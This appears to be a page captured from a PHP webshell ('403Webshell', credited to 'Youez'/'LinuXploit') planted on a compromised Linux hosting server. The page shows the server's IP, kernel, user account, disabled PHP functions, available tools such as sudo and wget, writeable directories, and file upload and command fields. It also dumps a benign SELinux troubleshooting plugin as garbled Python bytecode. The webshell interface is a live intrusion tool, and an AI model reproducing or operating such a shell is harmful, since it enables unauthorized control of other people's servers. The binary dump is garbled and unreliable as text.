403Webshell
Server IP : 77.68.64.20  /  Your IP : 216.73.217.31
Web Server : Apache
System : Linux hp3-wp-1011317.hostingp3.local 3.10.0-1160.144.1.el7.tuxcare.els8.x86_64 #1 SMP Sun Jul 5 17:25:39 UTC 2026 x86_64
User : csh2392878 ( 2033753)
PHP Version : 8.3.30
Disable Function : shell_exec,exec,system,popen,set_time_limit
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/setroubleshoot/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/setroubleshoot/plugins/allow_ftpd_use_cifs.pyo
�
c�L]c@s^ddlZejdde�ZejZddlTddlmZdefd��YZdS(i����Nssetroubleshoot-pluginstfallback(t*(tPlugintplugincBsteZed�Zed�Zed�ZdZed�ZdZed�Z	ed�Z
dZd	�Zd
�Z
RS(sZ
    SELinux prevented the ftp daemon from $ACCESS files stored on a CIFS filesystem.
    s�
    SELinux prevented the ftp daemon from $ACCESS files stored on a CIFS filesystem.
    CIFS (Comment Internet File System) is a network filesystem similar to
    SMB (<a href="http://www.microsoft.com/mind/1196/cifs.asp">http://www.microsoft.com/mind/1196/cifs.asp</a>)
    The ftp daemon attempted to read one or more files or directories from
    a mounted filesystem of this type.  As CIFS filesystems do not support
    fine-grained SELinux labeling, all files and directories in the
    filesystem will have the same security context.

    If you have not configured the ftp daemon to read files from a CIFS filesystem
    this access attempt could signal an intrusion attempt.
    sh
    Changing the "$BOOLEAN" boolean to true will allow this access:
    "setsebool -P $BOOLEAN=1."
    ssetsebool -P $BOOLEAN=1s� Changing the "$BOOLEAN" and
    "$WRITE_BOOLEAN" booleans to true will allow this access:
    "setsebool -P $BOOLEAN=1 $WRITE_BOOLEAN=1".
    warning: setting the "$WRITE_BOOLEAN" boolean to true will
    allow the ftp daemon to write to all public content (files and
    directories with type public_content_t) in addition to writing to
    files and directories on CIFS filesystems.  s(setsebool -P $BOOLEAN=1 $WRITE_BOOLEAN=1s7If you want to allow ftpd to write to cifs file systemss you must tell SELinux about thiss<# setsebool -P allow_ftpd_use_cifs=1 allow_ftpd_anon_write=1cCstj|t�dS(N(Rt__init__t__name__(tself((s8/usr/share/setroubleshoot/plugins/allow_ftpd_use_cifs.pyRBscCsq|jdg�ri|jdg�ri|jddg�ri|j|j|j�rb|jdd�SdSndSdS(	Ntftpd_ttcifs_ttfiletdirtargstallow_ftpd_use_cifstallow_ftpd_anon_write(RR
(tmatches_source_typestmatches_target_typest
has_tclass_intall_accesses_are_intcreate_file_permstrw_dir_permstreporttNone(Rtavc((s8/usr/share/setroubleshoot/plugins/allow_ftpd_use_cifs.pytanalyzeEs(Rt
__module__t_tsummarytproblem_descriptiontfix_descriptiontfix_cmdtrw_fix_descriptiont
rw_fix_cmdtif_textt	then_texttdo_textRR(((s8/usr/share/setroubleshoot/plugins/allow_ftpd_use_cifs.pyRs					(tgettextttranslationtTrueRtsetroubleshoot.utiltsetroubleshoot.PluginRR(((s8/usr/share/setroubleshoot/plugins/allow_ftpd_use_cifs.pyt<module>s
	


Youez - 2016 - github.com/yon3zu
LinuXploit